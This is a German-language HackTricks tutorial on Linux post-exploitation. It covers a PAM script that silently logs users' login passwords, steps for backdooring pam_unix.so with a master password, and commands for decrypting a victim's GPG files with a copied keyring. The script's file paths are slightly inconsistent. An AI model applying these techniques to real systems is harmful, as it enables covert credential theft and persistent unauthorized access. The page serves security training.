Linux Post-Exploitation

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Sniffing Logon Passwords with PAM

Lass uns ein PAM-Modul konfigurieren, um jedes Passwort zu protokollieren, das ein Benutzer beim Login verwendet. Wenn du nicht weißt, was PAM ist, siehe:

PAM - Pluggable Authentication Modules

For further details check the original post. Dies ist nur eine Zusammenfassung:

Technikübersicht: Pluggable Authentication Modules (PAM) bieten Flexibilität bei der Verwaltung von Authentifizierung auf Unix-basierten Systemen. Sie können die Sicherheit verbessern, indem sie Login-Prozesse anpassen, bergen aber auch Risiken bei Missbrauch. Diese Zusammenfassung skizziert eine Technik, um Login-Zugangsdaten mit PAM abzugreifen, sowie Gegenmaßnahmen.

Erfassung von Zugangsdaten:

  • Ein bash-Skript namens toomanysecrets.sh wird erstellt, um Login-Versuche zu protokollieren und dabei Datum, Benutzername ($PAM_USER), Passwort (über stdin) und die IP des entfernten Hosts ($PAM_RHOST) in /var/log/toomanysecrets.log zu speichern.
  • Das Skript wird ausführbar gemacht und in die PAM-Konfiguration (common-auth) integriert, wobei das Modul pam_exec.so mit Optionen verwendet wird, es still auszuführen und den Authentifizierungs-Token an das Skript zu übergeben.
  • Die Methode zeigt, wie ein kompromittierter Linux-Host ausgenutzt werden kann, um Zugangsdaten unauffällig zu protokollieren.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

For further details check the original post. Dies ist nur eine Zusammenfassung:

Der Pluggable Authentication Module (PAM) ist ein unter Linux eingesetztes System zur Benutzer-Authentifizierung. Es basiert auf drei Hauptkonzepten: username, password, und service. Konfigurationsdateien für jeden Service befinden sich im Verzeichnis /etc/pam.d/, wo gemeinsame Bibliotheken die Authentifizierung übernehmen.

Ziel: PAM so modifizieren, dass die Authentifizierung mit einem bestimmten Passwort möglich ist und damit das eigentliche Benutzerpasswort umgangen wird. Der Fokus liegt dabei insbesondere auf der pam_unix.so shared library, die von der Datei common-auth verwendet wird und von fast allen Services zur Passwortprüfung eingebunden ist.

Schritte zum Modifizieren von pam_unix.so:

  1. Lokalisieren der Authentifizierungsanweisung in der Datei common-auth:
  • Die Zeile, die für die Überprüfung des Benutzerpassworts verantwortlich ist, ruft pam_unix.so auf.
  1. Quellcode ändern:
  • Fügen Sie in der Datei pam_unix_auth.c eine Bedingung hinzu, die Zugriff gewährt, wenn ein vordefiniertes Passwort verwendet wird; andernfalls wird der normale Authentifizierungsprozess fortgesetzt.
  1. Kompilieren und Ersetzen:
  • Kompilieren Sie die modifizierte pam_unix.so-Bibliothek neu und ersetzen Sie sie im entsprechenden Verzeichnis.
  1. Testen:
  • Mit dem vordefinierten Passwort wird der Zugriff über verschiedene Services (login, ssh, sudo, su, screensaver) gewährt, während die normale Authentifizierung unverändert bleibt.

tip

Sie können diesen Prozess mit https://github.com/zephrax/linux-pam-backdoor automatisieren

GPG-Loot durch Verlagerung des homedir entschlüsseln

Wenn Sie eine verschlüsselte .gpg-Datei und den ~/.gnupg-Ordner eines Benutzers (pubring, private-keys, trustdb) finden, aber aufgrund von GnuPG homedir-Berechtigungen/-Sperren nicht entschlüsseln können, kopieren Sie das keyring an einen beschreibbaren Ort und verwenden Sie es als Ihr GPG-Home.

Typische Fehler, die ohne diese Maßnahme auftreten: "unsafe ownership on homedir", "failed to create temporary file", oder "decryption failed: No secret key" (weil GPG das ursprüngliche homedir nicht lesen/schreiben kann).

Workflow:

bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Wenn das geheime Schlüsselmaterial in private-keys-v1.d vorhanden ist, wird GPG ohne Aufforderung zur Eingabe einer passphrase entsperren und entschlüsseln (oder es wird auffordern, wenn der Schlüssel geschützt ist).

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks